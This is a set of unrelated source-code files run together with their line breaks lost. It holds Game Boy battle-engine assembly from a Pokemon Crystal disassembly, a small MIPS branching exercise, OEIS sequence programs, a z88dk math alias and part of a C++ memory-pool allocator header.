ld a, $6a ; full bar ld [hld], a dec c jr z, .finish jr .loop1 .next add $8 jr z, .loop2 add $54 ; tile to the left of small exp bar tile jr .skip .loop2 ld a, $62 ; empty bar .skip ld [hld], a ld a, $62 ; empty bar dec c jr nz, .loop2 .finish ret GetBattleMonBackpic: ld a, [wPlayerSubStatus4] bit SUBSTATUS_SUBSTITUTE, a ld hl, BattleAnimCmd_RaiseSub jr nz, GetBattleMonBackpic_DoAnim ; substitute DropPlayerSub: ld a, [wPlayerMinimized] and a ld hl, BattleAnimCmd_MinimizeOpp jr nz, GetBattleMonBackpic_DoAnim ld a, [wCurPartySpecies] push af ld a, [wBattleMonSpecies] ld [wCurPartySpecies], a ld hl, wBattleMonDVs predef GetUnownLetter ld de, vTiles2 tile $31 predef GetMonBackpic pop af ld [wCurPartySpecies], a ret GetBattleMonBackpic_DoAnim: ldh a, [hBattleTurn] push af xor a ldh [hBattleTurn], a ld a, BANK(BattleAnimCommands) rst FarCall pop af ldh [hBattleTurn], a ret GetEnemyMonFrontpic: ld a, [wEnemySubStatus4] bit SUBSTATUS_SUBSTITUTE, a ld hl, BattleAnimCmd_RaiseSub jr nz, GetEnemyMonFrontpic_DoAnim DropEnemySub: ld a, [wEnemyMinimized] and a ld hl, BattleAnimCmd_MinimizeOpp jr nz, GetEnemyMonFrontpic_DoAnim ld a, [wCurPartySpecies] push af ld a, [wEnemyMonSpecies] ld [wCurSpecies], a ld [wCurPartySpecies], a call GetBaseData ld hl, wEnemyMonDVs predef GetUnownLetter ld de, vTiles2 predef GetAnimatedFrontpic pop af ld [wCurPartySpecies], a ret GetEnemyMonFrontpic_DoAnim: ldh a, [hBattleTurn] push af call SetEnemyTurn ld a, BANK(BattleAnimCommands) rst FarCall pop af ldh [hBattleTurn], a ret StartBattle: ; This check prevents you from entering a battle without any Pokemon. ; Those using walk-through-walls to bypass getting a Pokemon experience ; the effects of this check. ld a, [wPartyCount] and a ret z ld a, [wTimeOfDayPal] push af call BattleIntro call DoBattle call ExitBattle pop af ld [wTimeOfDayPal], a scf ret Unreferenced_DoBattle: call DoBattle ret BattleIntro: farcall StubbedTrainerRankings_Battles ; mobile call LoadTrainerOrWildMonPic xor a ld [wTempBattleMonSpecies], a ld [wBattleMenuCursorBuffer], a xor a ldh [hMapAnims], a farcall PlayBattleMusic farcall ShowLinkBattleParticipants farcall FindFirstAliveMonAndStartBattle call DisableSpriteUpdates farcall ClearBattleRAM call InitEnemy call BackUpBGMap2 ld b, SCGB_BATTLE_GRAYSCALE call GetSGBLayout ld hl, rLCDC res rLCDC_WINDOW_TILEMAP, [hl] ; select 9800-9BFF call InitBattleDisplay call BattleStartMessage ld hl, rLCDC set rLCDC_WINDOW_TILEMAP, [hl] ; select 9C00-9FFF xor a ldh [hBGMapMode], a call EmptyBattleTextbox hlcoord 9, 7 lb bc, 5, 11 call ClearBox hlcoord 1, 0 lb bc, 4, 10 call ClearBox call ClearSprites ld a, [wBattleMode] cp WILD_BATTLE call z, UpdateEnemyHUD ld a, $1 ldh [hBGMapMode], a ret LoadTrainerOrWildMonPic: ld a, [wOtherTrainerClass] and a jr nz, .Trainer ld a, [wTempWildMonSpecies] ld [wCurPartySpecies], a .Trainer: ld [wTempEnemyMonSpecies], a ret InitEnemy: ld a, [wOtherTrainerClass] and a jp nz, InitEnemyTrainer ; trainer jp InitEnemyWildmon ; wild BackUpBGMap2: ldh a, [rSVBK] push af ld a, BANK(wDecompressScratch) ldh [rSVBK], a ld hl, wDecompressScratch ld bc, $40 tiles ; vBGMap3 - vBGMap2 ld a, $2 call ByteFill ldh a, [rVBK] push af ld a, $1 ldh [rVBK], a ld de, wDecompressScratch hlbgcoord 0, 0 ; vBGMap2 lb bc, BANK(BackUpBGMap2), $40 call Request2bpp pop af ldh [rVBK], a pop af ldh [rSVBK], a ret InitEnemyTrainer: ld [wTrainerClass], a farcall StubbedTrainerRankings_TrainerBattles xor a ld [wTempEnemyMonSpecies], a callfar GetTrainerAttributes callfar ReadTrainerParty ; RIVAL1's first mon has no held item ld a, [wTrainerClass] cp RIVAL1 jr nz, .ok xor a ld [wOTPartyMon1Item], a .ok ld de, vTiles2 callfar GetTrainerPic xor a ldh [hGraphicStartTile], a dec a ld [wEnemyItemState], a hlcoord 12, 0 lb bc, 7, 7 predef PlaceGraphic ld a, -1 ld [wCurOTMon], a ld a, TRAINER_BATTLE ld [wBattleMode], a call IsGymLeader jr nc, .done xor a ld [wCurPartyMon], a ld a, [wPartyCount] ld b, a .partyloop push bc ld a, MON_HP call GetPartyParamLocation ld a, [hli] or [hl] jr z, .skipfaintedmon ld c, HAPPINESS_GYMBATTLE callfar ChangeHappiness .skipfaintedmon pop bc dec b jr z, .done ld hl, wCurPartyMon inc [hl] jr .partyloop .done ret InitEnemyWildmon: ld a, WILD_BATTLE ld [wBattleMode], a farcall StubbedTrainerRankings_WildBattles call LoadEnemyMon ld hl, wEnemyMonMoves ld de, wWildMonMoves ld bc, NUM_MOVES call CopyBytes ld hl, wEnemyMonPP ld de, wWildMonPP ld bc, NUM_MOVES call CopyBytes ld hl, wEnemyMonDVs predef GetUnownLetter ld a, [wCurPartySpecies] cp UNOWN jr nz, .skip_unown ld a, [wFirstUnownSeen] and a jr nz, .skip_unown ld a, [wUnownLetter] ld [wFirstUnownSeen], a .skip_unown ld de, vTiles2 predef GetAnimatedFrontpic xor a ld [wTrainerClass], a ldh [hGraphicStartTile], a hlcoord 12, 0 lb bc, 7, 7 predef PlaceGraphic ret Unreferenced_Function3f662: ld hl, wEnemyMonMoves ld de, wListMoves_MoveIndicesBuffer ld b, NUM_MOVES .loop ld a, [de] inc de ld [hli], a and a jr z, .clearpp push bc push hl push hl dec a ld hl, Moves + MOVE_PP ld bc, MOVE_LENGTH call AddNTimes ld a, BANK(Moves) call GetFarByte pop hl ld bc, wEnemyMonPP - (wEnemyMonMoves + 1) add hl, bc ld [hl], a pop hl pop bc dec b jr nz, .loop ret .clear xor a ld [hli], a .clearpp push bc push hl ld bc, wEnemyMonPP - (wEnemyMonMoves + 1) add hl, bc xor a ld [hl], a pop hl pop bc dec b jr nz, .clear ret ExitBattle: call .HandleEndOfBattle call CleanUpBattleRAM ret .HandleEndOfBattle: ld a, [wLinkMode] and a jr z, .not_linked call ShowLinkBattleParticipantsAfterEnd ld c, 150 call DelayFrames call DisplayLinkBattleResult ret .not_linked ld a, [wBattleResult] and $f ret nz call CheckPayDay xor a ld [wForceEvolution], a predef EvolveAfterBattle farcall GivePokerusAndConvertBerries ret CleanUpBattleRAM: call BattleEnd_HandleRoamMons xor a ld [wLowHealthAlarm], a ld [wBattleMode], a ld [wBattleType], a ld [wAttackMissed], a ld [wTempWildMonSpecies], a ld [wOtherTrainerClass], a ld [wFailedToFlee], a ld [wNumFleeAttempts], a ld [wForcedSwitch], a ld [wPartyMenuCursor], a ld [wKeyItemsPocketCursor], a ld [wItemsPocketCursor], a ld [wBattleMenuCursorBuffer], a ld [wCurMoveNum], a ld [wBallsPocketCursor], a ld [wLastPocket], a ld [wMenuScrollPosition], a ld [wKeyItemsPocketScrollPosition], a ld [wItemsPocketScrollPosition], a ld [wBallsPocketScrollPosition], a ld hl, wPlayerSubStatus1 ld b, wEnemyFuryCutterCount - wPlayerSubStatus1 .loop ld [hli], a dec b jr nz, .loop call WaitSFX ret CheckPayDay: ld hl, wPayDayMoney ld a, [hli] or [hl] inc hl or [hl] ret z ld a, [wAmuletCoin] and a jr z, .okay ld hl, wPayDayMoney + 2 sla [hl] dec hl rl [hl] dec hl rl [hl] jr nc, .okay ld a, $ff ld [hli], a ld [hli], a ld [hl], a .okay ld hl, wPayDayMoney + 2 ld de, wMoney + 2 call AddBattleMoneyToAccount ld hl, BattleText_PlayerPickedUpPayDayMoney call StdBattleTextbox ld a, [wInBattleTowerBattle] bit 0, a ret z call ClearTileMap call ClearBGPalettes ret ShowLinkBattleParticipantsAfterEnd: farcall StubbedTrainerRankings_LinkBattles farcall BackupMobileEventIndex ld a, [wCurOTMon] ld hl, wOTPartyMon1Status call GetPartyLocation ld a, [wEnemyMonStatus] ld [hl], a call ClearTileMap farcall _ShowLinkBattleParticipants ret DisplayLinkBattleResult: farcall CheckMobileBattleError jp c, .Mobile_InvalidBattle call IsMobileBattle2 jr nz, .proceed ld hl, wcd2a bit 4, [hl] jr z, .proceed farcall DetermineLinkBattleResult .proceed ld a, [wBattleResult] and $f cp LOSE jr c, .victory ; WIN jr z, .loss ; LOSE ; DRAW farcall StubbedTrainerRankings_ColosseumDraws ld de, .Draw jr .store_result .victory farcall StubbedTrainerRankings_ColosseumWins ld de, .Win jr .store_result .loss farcall StubbedTrainerRankings_ColosseumLosses ld de, .Lose jr .store_result .store_result hlcoord 6, 8 call PlaceString farcall BackupMobileEventIndex ld c, 200 call DelayFrames ld a, BANK(sLinkBattleStats) call GetSRAMBank call AddLastMobileBattleToLinkRecord call ReadAndPrintLinkBattleRecord call CloseSRAM call IsMobileBattle2 jr z, .mobile call WaitPressAorB_BlinkCursor call ClearTileMap ret .mobile ld c, 200 call DelayFrames call ClearTileMap ret .Win: db "YOU WIN@" .Lose: db "YOU LOSE@" .Draw: db " DRAW@" .Mobile_InvalidBattle: hlcoord 6, 8 ld de, .Invalid call PlaceString ld c, 200 call DelayFrames call ClearTileMap ret .Invalid: db "INVALID BATTLE@" IsMobileBattle2: ld a, [wLinkMode] cp LINK_MOBILE ret _DisplayLinkRecord: ld a, BANK(sLinkBattleStats) call GetSRAMBank call ReadAndPrintLinkBattleRecord call CloseSRAM hlcoord 0, 0, wAttrMap xor a ld bc, SCREEN_WIDTH * SCREEN_HEIGHT call ByteFill call WaitBGMap2 ld b, SCGB_DIPLOMA call GetSGBLayout call SetPalettes ld c, 8 call DelayFrames call WaitPressAorB_BlinkCursor ret ReadAndPrintLinkBattleRecord: call ClearTileMap call ClearSprites call .PrintBattleRecord hlcoord 0, 8 ld b, 5 ld de, sLinkBattleRecord + 2 .loop push bc push hl push de ld a, [de] and a jr z, .PrintFormatString ld a, [wSavedAtLeastOnce] and a jr z, .PrintFormatString push hl push hl ld h, d ld l, e ld de, wd002 ld bc, 10 call CopyBytes ld a, "@" ld [de], a inc de ld bc, 6 call CopyBytes ld de, wd002 pop hl call PlaceString pop hl ld de, 26 add hl, de push hl ld de, wd00d lb bc, 2, 4 call PrintNum pop hl ld de, 5 add hl, de push hl ld de, wd00f lb bc, 2, 4 call PrintNum pop hl ld de, 5 add hl, de ld de, wd011 lb bc, 2, 4 call PrintNum jr .next .PrintFormatString: ld de, .Format call PlaceString .next pop hl ld bc, 18 add hl, bc ld d, h ld e, l pop hl ld bc, 2 * SCREEN_WIDTH add hl, bc pop bc dec b jr nz, .loop ret .PrintBattleRecord: hlcoord 1, 0 ld de, .Record call PlaceString hlcoord 0, 6 ld de, .Result call PlaceString hlcoord 0, 2 ld de, .Total call PlaceString hlcoord 6, 4 ld de, sLinkBattleWins call .PrintZerosIfNoSaveFileExists jr c, .quit lb bc, 2, 4 call PrintNum hlcoord 11, 4 ld de, sLinkBattleLosses call .PrintZerosIfNoSaveFileExists lb bc, 2, 4 call PrintNum hlcoord 16, 4 ld de, sLinkBattleDraws call .PrintZerosIfNoSaveFileExists lb bc, 2, 4 call PrintNum .quit ret .PrintZerosIfNoSaveFileExists: ld a, [wSavedAtLeastOnce] and a ret nz ld de, .Scores call PlaceString scf ret .Scores: db " 0 0 0@" .Format: db " --- <LF>" db " - - -@" .Record: db "<PLAYER>'s RECORD@" .Result: db "RESULT WIN LOSE DRAW@" .Total: db "TOTAL WIN LOSE DRAW@" BattleEnd_HandleRoamMons: ld a, [wBattleType] cp BATTLETYPE_ROAMING jr nz, .not_roaming ld a, [wBattleResult] and $f jr z, .caught_or_defeated_roam_mon ; WIN call GetRoamMonHP ld a, [wEnemyMonHP + 1] ld [hl], a jr .update_roam_mons .caught_or_defeated_roam_mon call GetRoamMonHP ld [hl], 0 call GetRoamMonMapGroup ld [hl], GROUP_N_A call GetRoamMonMapNumber ld [hl], MAP_N_A call GetRoamMonSpecies ld [hl], 0 ret .not_roaming call BattleRandom and $f ret nz .update_roam_mons callfar UpdateRoamMons ret GetRoamMonMapGroup: ld a, [wTempEnemyMonSpecies] ld b, a ld a, [wRoamMon1Species] cp b ld hl, wRoamMon1MapGroup ret z ld a, [wRoamMon2Species] cp b ld hl, wRoamMon2MapGroup ret z ld hl, wRoamMon3MapGroup ret GetRoamMonMapNumber: ld a, [wTempEnemyMonSpecies] ld b, a ld a, [wRoamMon1Species] cp b ld hl, wRoamMon1MapNumber ret z ld a, [wRoamMon2Species] cp b ld hl, wRoamMon2MapNumber ret z ld hl, wRoamMon3MapNumber ret GetRoamMonHP: ; output: hl = wRoamMonHP ld a, [wTempEnemyMonSpecies] ld b, a ld a, [wRoamMon1Species] cp b ld hl, wRoamMon1HP ret z ld a, [wRoamMon2Species] cp b ld hl, wRoamMon2HP ret z ld hl, wRoamMon3HP ret GetRoamMonDVs: ; output: hl = wRoamMonDVs ld a, [wTempEnemyMonSpecies] ld b, a ld a, [wRoamMon1Species] cp b ld hl, wRoamMon1DVs ret z ld a, [wRoamMon2Species] cp b ld hl, wRoamMon2DVs ret z ld hl, wRoamMon3DVs ret GetRoamMonSpecies: ld a, [wTempEnemyMonSpecies] ld hl, wRoamMon1Species cp [hl] ret z ld hl, wRoamMon2Species cp [hl] ret z ld hl, wRoamMon3Species ret AddLastMobileBattleToLinkRecord: ld hl, wOTPlayerID ld de, wStringBuffer1 ld bc, 2 call CopyBytes ld hl, wOTPlayerName ld bc, NAME_LENGTH - 1 call CopyBytes ld hl, sLinkBattleResults call .StoreResult ld hl, sLinkBattleRecord ld d, 5 .loop push hl inc hl inc hl ld a, [hl] dec hl dec hl and a jr z, .copy push de ld bc, 12 ld de, wStringBuffer1 call CompareBytesLong pop de pop hl jr c, .done ld bc, 18 add hl, bc dec d jr nz, .loop ld bc, -18 add hl, bc push hl .copy ld d, h ld e, l ld hl, wStringBuffer1 ld bc, 12 call CopyBytes ld b, 6 xor a .loop2 ld [de], a inc de dec b jr nz, .loop2 pop hl .done call .StoreResult call .FindOpponentAndAppendRecord ret .StoreResult: ld a, [wBattleResult] and $f cp LOSE ld bc, sLinkBattleWins + 1 - sLinkBattleResults jr c, .okay ; WIN ld bc, sLinkBattleLosses + 1 - sLinkBattleResults jr z, .okay ; LOSE ; DRAW ld bc, sLinkBattleDraws + 1 - sLinkBattleResults .okay add hl, bc call .CheckOverflow ret nc inc [hl] ret nz dec hl inc [hl] ret .CheckOverflow: dec hl ld a, [hl] inc hl cp HIGH(MAX_LINK_RECORD) ret c ld a, [hl] cp LOW(MAX_LINK_RECORD) ret .FindOpponentAndAppendRecord: ld b, 5 ld hl, sLinkBattleRecord + 17 ld de, wd002 .loop3 push bc push de push hl call .LoadPointer pop hl ld a, e pop de ld [de], a inc de ld a, b ld [de], a inc de ld a, c ld [de], a inc de ld bc, 18 add hl, bc pop bc dec b jr nz, .loop3 ld b, $0 ld c, $1 .loop4 ld a, b add b add b ld e, a ld d, $0 ld hl, wd002 add hl, de push hl ld a, c add c add c ld e, a ld d, $0 ld hl, wd002 add hl, de ld d, h ld e, l pop hl push bc ld c, 3 call CompareBytes pop bc jr z, .equal jr nc, .done2 .equal inc c ld a, c cp $5 jr nz, .loop4 inc b ld c, b inc c ld a, b cp $4 jr nz, .loop4 ret .done2 push bc ld a, b ld bc, 18 ld hl, sLinkBattleRecord call AddNTimes push hl ld de, wd002 ld bc, 18 call CopyBytes pop hl pop bc push hl ld a, c ld bc, 18 ld hl, sLinkBattleRecord call AddNTimes pop de push hl ld bc, 18 call CopyBytes ld hl, wd002 ld bc, 18 pop de call CopyBytes ret .LoadPointer: ld e, $0 ld a, [hld] ld c, a ld a, [hld] ld b, a ld a, [hld] add c ld c, a ld a, [hld] adc b ld b, a jr nc, .okay2 inc e .okay2 ld a, [hld] add c ld c, a ld a, [hl] adc b ld b, a ret nc inc e ret InitBattleDisplay: call .InitBackPic hlcoord 0, 12 ld b, 4 ld c, 18 call Textbox farcall MobileTextBorder hlcoord 1, 5 lb bc, 3, 7 call ClearBox call LoadStandardFont call _LoadBattleFontsHPBar call .BlankBGMap xor a ldh [hMapAnims], a ldh [hSCY], a ld a, $90 ldh [hWY], a ldh [rWY], a call WaitBGMap xor a ldh [hBGMapMode], a farcall BattleIntroSlidingPics ld a, $1 ldh [hBGMapMode], a ld a, $31 ldh [hGraphicStartTile], a hlcoord 2, 6 lb bc, 6, 6 predef PlaceGraphic xor a ldh [hWY], a ldh [rWY], a call WaitBGMap call HideSprites ld b, SCGB_BATTLE_COLORS call GetSGBLayout call SetPalettes ld a, $90 ldh [hWY], a xor a ldh [hSCX], a ret .BlankBGMap: ldh a, [rSVBK] push af ld a, BANK(wDecompressScratch) ldh [rSVBK], a ld hl, wDecompressScratch ld bc, wScratchAttrMap - wDecompressScratch ld a, " " call ByteFill ld de, wDecompressScratch hlbgcoord 0, 0 lb bc, BANK(.BlankBGMap), $40 call Request2bpp pop af ldh [rSVBK], a ret .InitBackPic: call GetTrainerBackpic call CopyBackpic ret GetTrainerBackpic: ; Load the player character's backpic (6x6) into VRAM starting from vTiles2 tile $31. ; Special exception for Dude. ld b, BANK(DudeBackpic) ld hl, DudeBackpic ld a, [wBattleType] cp BATTLETYPE_TUTORIAL jr z, .Decompress ; What gender are we? ld a, [wPlayerSpriteSetupFlags] bit PLAYERSPRITESETUP_FEMALE_TO_MALE_F, a jr nz, .Chris ld a, [wPlayerGender] bit PLAYERGENDER_FEMALE_F, a jr z, .Chris ; It's a girl. farcall GetKrisBackpic ret .Chris: ; It's a boy. ld b, BANK(ChrisBackpic) ld hl, ChrisBackpic .Decompress: ld de, vTiles2 tile $31 ld c, 7 * 7 predef DecompressGet2bpp ret CopyBackpic: ldh a, [rSVBK] push af ld a, BANK(wDecompressScratch) ldh [rSVBK], a ld hl, vTiles0 ld de, vTiles2 tile $31 ldh a, [hROMBank] ld b, a ld c, $31 call Get2bpp pop af ldh [rSVBK], a call .LoadTrainerBackpicAsOAM ld a, $31 ldh [hGraphicStartTile], a hlcoord 2, 6 lb bc, 6, 6 predef PlaceGraphic ret .LoadTrainerBackpicAsOAM: ld hl, wVirtualOAMSprite00 xor a ldh [hMapObjectIndexBuffer], a ld b, 6 ld e, (SCREEN_WIDTH + 1) * TILE_WIDTH .outer_loop ld c, 3 ld d, 8 * TILE_WIDTH .inner_loop ld [hl], d ; y inc hl ld [hl], e ; x inc hl ldh a, [hMapObjectIndexBuffer] ld [hli], a ; tile id inc a ldh [hMapObjectIndexBuffer], a ld a, PAL_BATTLE_OB_PLAYER ld [hli], a ; attributes ld a, d add 1 * TILE_WIDTH ld d, a dec c jr nz, .inner_loop ldh a, [hMapObjectIndexBuffer] add $3 ldh [hMapObjectIndexBuffer], a ld a, e add 1 * TILE_WIDTH ld e, a dec b jr nz, .outer_loop ret BattleStartMessage: ld a, [wBattleMode] dec a jr z, .wild ld de, SFX_SHINE call PlaySFX call WaitSFX ld c, 20 call DelayFrames farcall Battle_GetTrainerName ld hl, WantsToBattleText jr .PlaceBattleStartText .wild call BattleCheckEnemyShininess jr nc, .not_shiny xor a ld [wNumHits], a ld a, 1 ldh [hBattleTurn], a ld a, 1 ld [wBattleAnimParam], a ld de, ANIM_SEND_OUT_MON call Call_PlayBattleAnim .not_shiny farcall CheckSleepingTreeMon jr c, .skip_cry farcall CheckBattleScene jr c, .cry_no_anim hlcoord 12, 0 ld d, $0 ld e, ANIM_MON_NORMAL predef AnimateFrontpic jr .skip_cry ; cry is played during the animation .cry_no_anim ld a, $f ld [wCryTracks], a ld a, [wTempEnemyMonSpecies] call PlayStereoCry .skip_cry ld a, [wBattleType] cp BATTLETYPE_FISH jr nz, .NotFishing farcall StubbedTrainerRankings_HookedEncounters ld hl, HookedPokemonAttackedText jr .PlaceBattleStartText .NotFishing: ld hl, PokemonFellFromTreeText cp BATTLETYPE_TREE jr z, .PlaceBattleStartText ld hl, WildCelebiAppearedText cp BATTLETYPE_CELEBI jr z, .PlaceBattleStartText ld hl, WildPokemonAppearedText .PlaceBattleStartText: push hl farcall BattleStart_TrainerHuds pop hl call StdBattleTextbox call IsMobileBattle2 ret nz ld c, $2 ; start farcall Mobile_PrintOpponentBattleMessage ret
.data w: .word 64 msg: .asciiz "bne" msg1: .asciiz "blez" msg2: .asciiz "bgtz" .text la $s0, w lui $t0, 6 bne $t0, $t1, wow wow: li $v0, 4 # Impressao da msg la $a0, msg syscall blez $t0, wow1 bgtz $t0, wow2 # Termino do programa addi $v0, $zero, 10 # Codigo para terminar o programa = 10 syscall wow1: li $v0, 4 # Impressao da msg la $a0, msg1 syscall # Termino do programa addi $v0, $zero, 10 # Codigo para terminar o programa = 10 syscall wow2: li $v0, 4 # Impressao da msg la $a0, msg2 syscall # Termino do programa addi $v0, $zero, 10 # Codigo para terminar o programa = 10 syscall
SECTION code_fp_am9511 PUBLIC _acosh_fastcall EXTERN _am9511_acosh defc _acosh_fastcall = _am9511_acosh
; A025791: Expansion of 1/((1-x)(1-x^9)(1-x^10)). ; 1,1,1,1,1,1,1,1,1,2,3,3,3,3,3,3,3,3,4,5,6,6,6,6,6,6,6,7,8,9,10,10,10,10,10,10,11,12,13,14,15,15,15,15,15,16,17,18,19,20,21,21,21,21,22,23,24,25,26,27,28,28,28,29 mov $11,$0 mov $13,$0 add $13,1 lpb $13,1 clr $0,11 mov $0,$11 sub $13,1 sub $0,$13 add $0,3 mov $2,$0 lpb $2,1 mov $4,3 lpb $4,1 add $2,6 trn $4,$2 lpe mov $5,8 lpb $5,1 trn $5,$2 mod $2,9 mul $2,10 lpe fac $4 mul $4,40 pow $4,2 lpe mov $1,$4 div $1,1600 add $12,$1 lpe mov $1,$12
; A008967: Coefficients of Gaussian polynomials q_binomial(n-2, 2). Also triangle of distribution of rank sums: Wilcoxon's statistic. Irregular triangle read by rows. ; 1,1,1,1,1,1,2,1,1,1,1,2,2,2,1,1,1,1,2,2,3,2,2,1,1,1,1,2,2,3,3,3,2,2,1,1,1,1,2,2,3,3,4,3,3,2,2,1,1,1,1,2,2,3,3,4,4,4,3,3,2,2,1,1,1,1,2,2,3,3,4,4,5,4,4,3,3,2,2,1,1,1,1,2,2,3,3,4,4,5,5,5,4,4,3,3,2,2,1,1 lpb $0 lpb $0 add $0,1 add $2,1 sub $0,$2 sub $0,$2 lpe mov $2,$0 lpe mov $1,$0 div $1,2 add $1,1
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #ifndef AZ_UNITY_BUILD #include <AzCore/PlatformIncl.h> #include <AzCore/Memory/PoolSchema.h> #include <AzCore/std/containers/vector.h> #include <AzCore/std/containers/intrusive_slist.h> #include <AzCore/std/containers/intrusive_list.h> #include <AzCore/std/parallel/mutex.h> #include <AzCore/std/parallel/lock.h> #include <AzCore/std/parallel/thread.h> #include <AzCore/Memory/AllocationRecords.h> #include <AzCore/Math/MathUtils.h> #ifdef AZ_THREAD_LOCAL # include <AzCore/std/parallel/containers/lock_free_intrusive_stamped_stack.h> #endif namespace AZ { ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Pool Allocation algorithm /** * Pool Allocation algorithm implementation. Used in both PoolAllocator and ThreadPoolAllocator. */ template<class Allocator> class PoolAllocation { public: AZ_CLASS_ALLOCATOR(PoolAllocation<Allocator>, SystemAllocator, 0) typedef typename Allocator::Page PageType; typedef typename Allocator::Bucket BucketType; PoolAllocation(Allocator* alloc, size_t pageSize, size_t minAllocationSize, size_t maxAllocationSize); virtual ~PoolAllocation(); void* Allocate(size_t byteSize, size_t alignment); void DeAllocate(void* ptr); size_t AllocationSize(void* ptr); // if isForceFreeAllPages is true we will free all pages even if they have allocations in them. void GarbageCollect(bool isForceFreeAllPages = false); Allocator* m_allocator; size_t m_pageSize; size_t m_minAllocationShift; size_t m_minAllocationSize; size_t m_maxAllocationSize; size_t m_numBuckets; BucketType* m_buckets; size_t m_numBytesAllocated; }; /** * PoolSchema Implementation... to keep the header clean. */ class PoolSchemaImpl { public: AZ_CLASS_ALLOCATOR(PoolSchemaImpl, SystemAllocator, 0) PoolSchemaImpl(const PoolSchema::Descriptor& desc); ~PoolSchemaImpl(); PoolSchema::pointer_type Allocate(PoolSchema::size_type byteSize, PoolSchema::size_type alignment, int flags = 0); void DeAllocate(PoolSchema::pointer_type ptr); PoolSchema::size_type AllocationSize(PoolSchema::pointer_type ptr); /** * We allocate memory for pools in pages. Page is a information struct * located at the end of the allocated page. When it's in the at the end * we can usually hide it's size in the free bytes left from the pagesize/poolsize. * \note IMPORTANT pages are aligned on the page size, this way can find quickly which * pool the pointer belongs to. */ struct Page : public AZStd::intrusive_list_node<Page> { struct FakeNode : public AZStd::intrusive_slist_node<FakeNode> {}; void SetupFreeList(size_t elementSize, size_t pageDataBlockSize); /// We just use a free list of nodes which we cast to the pool type. typedef AZStd::intrusive_slist<FakeNode, AZStd::slist_base_hook<FakeNode> > FreeListType; FreeListType m_freeList; u32 m_bin; Debug::Magic32 m_magic; u32 m_elementSize; u32 m_maxNumElements; }; /** * A bucket has a list of pages used with the specific pool size. */ struct Bucket { typedef AZStd::intrusive_list<Page, AZStd::list_base_hook<Page> > PageListType; PageListType m_pages; }; // Functions used by PoolAllocation template AZ_INLINE Page* PopFreePage(); AZ_INLINE void PushFreePage(Page* page); void GarbageCollect(); inline bool IsInStaticBlock(Page* page) { const char* staticBlockStart = reinterpret_cast<const char*>(m_staticDataBlock); const char* staticBlockEnd = staticBlockStart + m_numStaticPages*m_pageSize; const char* pageAddress = reinterpret_cast<const char*>(page); // all pages are the same size so we either in or out, no need to check the pageAddressEnd if (pageAddress >= staticBlockStart && pageAddress < staticBlockEnd) { return true; } else { return false; } } inline Page* ConstructPage(size_t elementSize) { AZ_Assert(m_isDynamic, "We run out of static pages (%d) and this is a static allocator!", m_numStaticPages); // We store the page struct at the end of the block char* memBlock; memBlock = reinterpret_cast<char*>(m_pageAllocator->Allocate(m_pageSize, m_pageSize, 0, "AZSystem::PoolSchemaImpl::ConstructPage", __FILE__, __LINE__)); size_t pageDataSize = m_pageSize - sizeof(Page); Page* page = new(memBlock+pageDataSize)Page(); page->SetupFreeList(elementSize, pageDataSize); page->m_elementSize = static_cast<u32>(elementSize); page->m_maxNumElements = static_cast<u32>(pageDataSize / elementSize); return page; } inline void FreePage(Page* page) { // TODO: It's optional if we want to check the guard value for corruption, since we are not going // to use this memory. Yet it might be useful to catch bugs. // We store the page struct at the end of the block char* memBlock = reinterpret_cast<char*>(page) - m_pageSize + sizeof(Page); page->~Page(); // destroy the page m_pageAllocator->DeAllocate(memBlock); } inline Page* PageFromAddress(void* address) { char* memBlock = reinterpret_cast<char*>(reinterpret_cast<size_t>(address) & ~(m_pageSize-1)); memBlock += m_pageSize - sizeof(Page); Page* page = reinterpret_cast<Page*>(memBlock); if (!page->m_magic.Validate()) { return nullptr; } return page; } typedef PoolAllocation<PoolSchemaImpl> AllocatorType; IAllocatorAllocate* m_pageAllocator; AllocatorType m_allocator; void* m_staticDataBlock; unsigned int m_numStaticPages; bool m_isDynamic; size_t m_pageSize; Bucket::PageListType m_freePages; }; /** * Thread safe pool allocator. */ class ThreadPoolSchemaImpl { public: AZ_CLASS_ALLOCATOR(ThreadPoolSchemaImpl, SystemAllocator, 0) # ifdef AZ_THREAD_LOCAL /** * Specialized \ref PoolAllocator::Page page for lock free allocator. */ struct Page : public AZStd::intrusive_list_node<Page> { Page(ThreadPoolData* threadData) : m_threadData(threadData) {} struct FakeNode : public AZStd::intrusive_slist_node<FakeNode> {}; // Fake Lock Free node used when we delete an element from another thread. struct FakeNodeLF : public AZStd::lock_free_intrusive_stack_node<FakeNodeLF>{}; void SetupFreeList(size_t elementSize, size_t pageDataBlockSize); /// We just use a free list of nodes which we cast to the pool type. typedef AZStd::intrusive_slist<FakeNode, AZStd::slist_base_hook<FakeNode> > FreeListType; FreeListType m_freeList; AZStd::lock_free_intrusive_stack_node<Page> m_lfStack; ///< Lock Free stack node struct ThreadPoolData* m_threadData; ///< The thread data that own's the page. u32 m_bin; Debug::Magic32 m_magic; u32 m_elementSize; u32 m_maxNumElements; }; /** * A bucket has a list of pages used with the specific pool size. */ struct Bucket { typedef AZStd::intrusive_list<Page, AZStd::list_base_hook<Page> > PageListType; PageListType m_pages; }; #else typedef PoolSchemaImpl::Page Page; typedef PoolSchemaImpl::Bucket Bucket; #endif ThreadPoolSchemaImpl(const ThreadPoolSchema::Descriptor& desc, ThreadPoolSchema::GetThreadPoolData threadPoolGetter, ThreadPoolSchema::SetThreadPoolData threadPoolSetter); ~ThreadPoolSchemaImpl(); ThreadPoolSchema::pointer_type Allocate(ThreadPoolSchema::size_type byteSize, ThreadPoolSchema::size_type alignment, int flags = 0); void DeAllocate(ThreadPoolSchema::pointer_type ptr); ThreadPoolSchema::size_type AllocationSize(ThreadPoolSchema::pointer_type ptr); /// Return unused memory to the OS. Don't call this too often because you will force unnecessary allocations. void GarbageCollect(); ////////////////////////////////////////////////////////////////////////// // Functions used by PoolAllocation template AZ_INLINE Page* PopFreePage(); AZ_INLINE void PushFreePage(Page* page); inline bool IsInStaticBlock(Page* page) { # ifdef AZ_THREAD_LOCAL const char* staticBlockStart = reinterpret_cast<const char*>(m_staticDataBlock); const char* staticBlockEnd = staticBlockStart + m_numStaticPages*m_pageSize; const char* 